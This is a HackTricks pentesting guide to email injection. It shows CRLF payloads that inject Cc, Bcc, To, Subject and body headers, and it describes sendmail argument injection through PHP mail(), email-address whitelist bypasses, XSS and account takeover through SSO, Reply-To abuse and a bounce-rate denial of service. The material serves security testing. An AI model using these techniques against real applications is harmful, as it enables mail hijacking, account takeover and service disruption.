hacktricks/pentesting-web/email-injections.md

# Email Injections

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## Inject in sent e-mail

### Inject Cc and Bcc after sender argument

```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```

The message will be sent to the recipient and recipient1 accounts.

### Inject argument

```
From:sender@domain.com%0ATo:attacker@domain.com
```

The message will be sent to the original recipient and the attacker account.

### Inject Subject argument

```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```

The fake subject will be added to the original subject and in some cases will replace it. It depends on the mail service behavior.

### Change the body of the message

Inject a two-line feed, then write your message to change the body of the message.

```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```

### PHP mail() function exploitation

```bash
# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
  - Parameters [5] {
    Parameter #0 [ <required> $to ]
    Parameter #1 [ <required> $subject ]
    Parameter #2 [ <required> $message ]
    Parameter #3 [ <optional> $additional_headers ]
    Parameter #4 [ <optional> $additional_parameters ]
  }
}
```

#### The 5th parameter ($additional\_parameters)

This section is going to be based on **how to abuse this parameter supposing that an attacker controls it**.

This parameter is going to be added to the command line PHP will be using to invoke the binary sendmail. However, it will be sanitised with the function `escapeshellcmd($additional_parameters)`.

An attacker can **inject extract parameters for sendmail** in this case.

#### Differences in the implementation of /usr/sbin/sendmail

**sendmail** interface is **provided by the MTA email software** (Sendmail, Postfix, Exim etc.) installed on the system. Although the **basic functionality** (such as -t -i -f parameters) remains the **same** for compatibility reasons, **other functions and parameters** vary greatly depending on the MTA installed.

Here are a few examples of different man pages of sendmail command/interface:

* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences

Depending on the **origin of the sendmail** binary different options have been discovered to abuse them and l**eak files or even execute arbitrary commands**. Check how in [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)

## Inject in the e-mail name

### Ignored parts of an email

The symbols: **+, -** and **{}** in rare occasions can be used for tagging and ignored by most e-mail servers

* E.g. john.doe+intigriti@example.com → john.doe@example.com

**Comments between parentheses ()** at the beginning or the end will also be ignored

* E.g. john.doe(intigriti)@example.com → john.doe@example.com

### Whitelist bypass

<figure><img src="../.gitbook/assets/image (4) (6).png" alt=""><figcaption></figcaption></figure>

### Quotes

<figure><img src="../.gitbook/assets/image (6) (4).png" alt=""><figcaption></figcaption></figure>

### IPs

You can also use IPs as domain named between square brackets:

* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]

### Other vulns

![](<../.gitbook/assets/image (296).png>)

## Third party SSO

### XSS

Some services like **github** or **salesforce allows** you to create an **email address with XSS payloads on it**. If you can **use this providers to login on other services** and this services **aren't sanitising** correctly the email, you could cause **XSS**.

### Account-Takeover

If a **SSO service** allows you to **create an account without verifying the given email address** (like **salesforce**) and then you can use that account to **login in a different service** that **trusts** salesforce, you could access any account.\
_Note that salesforce indicates if the given email was or not verified but so the application should take into account this info._

## Reply-To

You can send an email using _**From: company.com**_\*\* \*\* and _**Replay-To: attacker.com**_ and if any **automatic reply** is sent due to the email was sent **from** an **internal address** the **attacker** may be able to **receive** that **response**.

## Hard Bounce Rate

Some applications like AWS have a **Hard Bounce Rate** (in AWS is 10%), that whenever is overloaded the email service is blocked.

A **hard bounce** is an **email** that couldn’t be delivered for some permanent reasons. Maybe the **email’s** a fake address, maybe the **email** domain isn’t a real domain, or maybe the **email** recipient’s server won’t accept **emails**) , that means from total of 1000 emails if 100 of them were fake or were invalid that caused all of them to bounce, **AWS SES** will block your service.

So, if you are able to **send mails (maybe invitations) from the web application to any email address, you could provoke this block by sending hundreds of invitations to nonexistent users and domains: Email service DoS.**

## References

* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

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* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

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